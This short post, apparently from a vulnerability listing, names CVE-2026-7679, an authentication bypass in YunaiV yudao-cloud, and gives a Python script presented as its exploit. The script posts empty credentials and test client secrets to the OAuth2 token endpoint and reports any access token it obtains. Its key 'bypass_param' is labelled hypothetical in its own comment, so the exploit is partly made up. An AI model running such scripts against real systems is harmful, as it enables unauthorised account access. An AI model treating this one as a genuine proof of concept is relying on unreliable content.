CVE-2026-7679 YunaiV yudao-cloud认证绕过漏洞

import requests # Target URL (example) target_url = "http://target-domain/api/system/oauth2/token" # Malicious payload to bypass authentication in getAccessToken payload = { "grant_type": "password", "username": "", "password": "", "client_id": "test", "client_secret": "test", "bypass_param": "logic_flaw_trigger" # Hypothetical parameter triggering the flaw } try: response = requests.post(target_url, data=payload) if response.status_code == 200 and "access_token" in response.text: print("[+] Exploit successful! Token obtained:") print(response.json()) else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")